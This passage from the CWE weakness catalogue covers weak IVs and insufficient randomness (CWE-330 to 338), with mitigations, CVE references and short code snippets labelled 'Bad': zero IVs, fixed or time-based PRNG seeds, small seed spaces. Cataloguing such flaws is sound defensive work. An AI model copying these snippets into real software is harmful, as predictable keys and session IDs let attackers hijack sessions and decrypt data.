ChildOf	B	1204	Generation of Weak Initialization Vector (IV)	2002

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Background Details

CBC mode is a commonly used mode of operation for a block cipher. It works by XOR-ing an IV with the initial block of a plaintext prior to encryption and then XOR-ing each successive block of plaintext with the previous block of ciphertext before encryption.

C_0 = IV
C_i = E_k{M_i XOR C_{i-1}}

When used properly, CBC mode provides security against chosen plaintext attacks. Having an unpredictable IV is a crucial underpinning of this. See [REF-1171].

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the IV is not properly initialized, data that is encrypted can be compromised and leak information.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.

Demonstrative Examples

Example 1:

In the following examples, CBC mode is used when encrypting data:

Example Language: C *(Bad)*

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Example Language: Java *(Bad)*

```
public class SymmetricCipherTest {
   public static void main() {
      byte[] text ="Secret".getBytes();
      byte[] iv ={
         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
      };
```

```
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

Observed Examples

Reference	Description
CVE-2020-5408	encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality *https://www.cve.org/CVERecord?id=CVE-2020-5408*
CVE-2017-17704	messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart *https://www.cve.org/CVERecord?id=CVE-2017-17704*
CVE-2017-11133	application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong. *https://www.cve.org/CVERecord?id=CVE-2017-11133*
CVE-2007-3528	Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values. *https://www.cve.org/CVERecord?id=CVE-2007-3528*
CVE-2011-3389	BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack. *https://www.cve.org/CVERecord?id=CVE-2011-3389*

Functional Areas

- Cryptography

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2435
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2525
MemberOf	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2544
MemberOf	C	1414	Comprehensive Categorization: Randomness	1400	2580

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that

are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-330: Use of Insufficiently Random Values

Weakness ID : 330
Structure : Simple
Abstraction : Class

Description

The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Extended Description

When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Other *When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.*	
Access Control Other	Bypass Protection Mechanism Other *If product relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions*	

Scope	Impact	Likelihood
	so that the application cannot generate the session for the victim, preventing the victim from using the application.	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This code attempts to generate a unique random identifier for a user's session.

Example Language: PHP *(Bad)*

```
function generateSessionID($userID){
   srand($userID);
   return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java *(Bad)*

```
String GenerateReceiptURL(String baseUrl) {
   Random ranGen = new Random();
   ranGen.setSeed((new Date()).getTime());
   return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Notes

Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Maintenance

As of CWE 4.3, CWE-330 and its descendants are being investigated by the CWE crypto team to identify gaps related to randomness and unpredictability, as well as the relationships between randomness and cryptographic primitives. This "subtree analysis" might result in the addition or deprecation of existing entries; the reorganization of relationships in some views, e.g. the research view (CWE-1000); more consistent use of terminology; and/or significant modifications to related entries.

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-331: Insufficient Entropy

Weakness ID : 331
Structure : Simple
Abstraction : Base

Description

The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822
ParentOf	V	332	Insufficient Entropy in PRNG	831
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	833

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514
MemberOf	C	310	Cryptographic Issues	2355

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.*	

Potential Mitigations

Phase: Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(Bad)*

```
function generateSessionID($userID){
   srand($userID);
   return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java *(Bad)*

```
String GenerateReceiptURL(String baseUrl) {
   Random ranGen = new Random();
   ranGen.setSeed((new Date()).getTime());
   return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Reference	Description
CVE-2001-0950	Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low. *https://www.cve.org/CVERecord?id=CVE-2001-0950*
CVE-2008-2108	Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331) *https://www.cve.org/CVERecord?id=CVE-2008-2108*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1414	Comprehensive Categorization: Randomness	1400	2580

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-332: Insufficient Entropy in PRNG

Weakness ID : 332
Structure : Simple
Abstraction : Variant

Description

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	331	Insufficient Entropy	828

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.*	
Access Control Other	Bypass Protection Mechanism Other *If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Phase: Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

Observed Examples

Reference	Description
[REF-1374]	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391) *https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards*
CVE-2019-1715	security product has insufficient entropy in the DRBG, allowing collisions and private key discovery *https://www.cve.org/CVERecord?id=CVE-2019-1715*

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID : 333
Structure : Simple
Abstraction : Variant

Description

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1589
ChildOf	B	331	Insufficient Entropy	828

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *A program may crash or block if it runs out of random numbers.*	

Potential Mitigations

Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

Demonstrative Examples

Example 1:

This code uses a TRNG to generate a unique session id for new connections to a server:

Example Language: C *(Bad)*

```
while (1){
  if (haveNewConnection()){
    if (hwRandom()){
      int sessionID = hwRandom();
      createNewConnection(sessionID);
    } } }
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-334: Small Space of Random Values

Weakness ID : 334
Structure : Simple
Abstraction : Base

Description

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822
ParentOf	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	2

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514
MemberOf	C	310	Cryptographic Issues	2355

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Demonstrative Examples

Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML *(Bad)*

```
<sun-web-app>
  ...
  <session-config>
    <session-properties>
      <property name="idLengthBytes" value="8">
        <description>The number of bytes in this web module's session ID.</description>
      </property>
    </session-properties>
  </session-config>
  ...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Observed Examples

CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

Weakness ID : 335
Structure : Simple
Abstraction : Base

Description

The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.

Extended Description

PRNGs are deterministic and, while their output appears random, they cannot actually create entropy. They rely on cryptographically secure and unique seeds for entropy so proper seeding is critical to the secure operation of the PRNG.

Management of seeds could be broken down into two main areas:

- (1) protecting seeds as cryptographic material (such as a cryptographic key);
- (2) whenever possible, using a uniquely generated seed from a cryptographically secure source

PRNGs require a seed as input to generate a stream of numbers that are functionally indistinguishable from random numbers. While the output is, in many cases, sufficient for cryptographic uses, the output of any PRNG is directly determined by the seed provided as input. If the seed can be ascertained by a third party, the entire output of the PRNG can be made known to them. As such, the seed should be kept secret and should ideally not be able to be guessed.

For example, the current time may be a poor seed. Knowing the approximate time the PRNG was seeded greatly reduces the possible key space.

Seeds do not necessarily need to be unique, but reusing seeds may open up attacks if the seed is discovered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	V	339	Small Seed Space in PRNG	848

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514
MemberOf	C	310	Cryptographic Issues	2355

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *If a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.*	

Demonstrative Examples

Example 1:

The following code uses a statistical PRNG to generate account IDs.

Example Language: Java *(Bad)*

```
private static final long SEED = 1234567890;
```

```
public int generateAccountID() {
   Random random = new Random(SEED);
   return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Example 2:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

Example Language: Java *(Bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Example Language: C *(Bad)*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

Example 3:

This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.

Example Language: Python *(Bad)*

```
# getting 2 bytes of randomness for the seeding the PRNG
seed = os.urandom(2)
random.seed(a=seed)
key = random.getrandbits(128)
```

Since only 2 bytes are used as a seed, an attacker will only need to guess 2^16 (65,536) values before being able to replicate the state of the PRNG.

Observed Examples

CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID : 336
Structure : Simple
Abstraction : Variant

Description

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

Extended Description

Given the deterministic nature of PRNGs, using the same seed for each initialization will lead to the same output in the same order. If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

Demonstrative Examples

Example 1:

The following code uses a statistical PRNG to generate account IDs.

Example Language: Java *(Bad)*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
   Random random = new Random(SEED);
   return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Example 2:

This code attempts to generate a unique random identifier for a user's session.

Example Language: PHP *(Bad)*

```
function generateSessionID($userID){
   srand($userID);
   return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

If the user IDs are generated sequentially, or otherwise restricted to a narrow range of values, then this example also exhibits a Small Seed Space (CWE-339).

Observed Examples

Reference	Description
CVE-2022-39218	SDK for JavaScript app builder for serverless code uses the same fixed seed for a PRNG, allowing cryptography bypass *https://www.cve.org/CVERecord?id=CVE-2022-39218*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1414	Comprehensive Categorization: Randomness	1400	2580

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

Weakness ID : 337
Structure : Simple
Abstraction : Variant

Description

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

Extended Description

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	837

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Use non-predictable inputs for seed generation.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Demonstrative Examples

Example 1:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

Example Language: Java *(Bad)*

```
Random random = new Random(System.currentTimeMillis());
```

```
int accountID = random.nextInt();
```

Example Language: C *(Bad)*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

Observed Examples

Reference	Description
CVE-2020-7010	Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time. *https://www.cve.org/CVERecord?id=CVE-2020-7010*
CVE-2019-11495	server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds *https://www.cve.org/CVERecord?id=CVE-2019-11495*
CVE-2008-0166	The removal of a couple lines of code caused Debian's OpenSSL Package to only use the current process ID for seeding a PRNG *https://www.cve.org/CVERecord?id=CVE-2008-0166*
CVE-2016-10180	Router's PIN generation is based on rand(time(0)) seeding. *https://www.cve.org/CVERecord?id=CVE-2016-10180*
CVE-2018-9057	cloud provider product uses a non-cryptographically secure PRNG and seeds it with the current time *https://www.cve.org/CVERecord?id=CVE-2018-9057*

CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID : 338
Structure : Simple
Abstraction : Base

Description

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

Extended Description

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514
MemberOf	C	310	Cryptographic Issues	2355

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.*	

Detection Methods

Automated Static Analysis

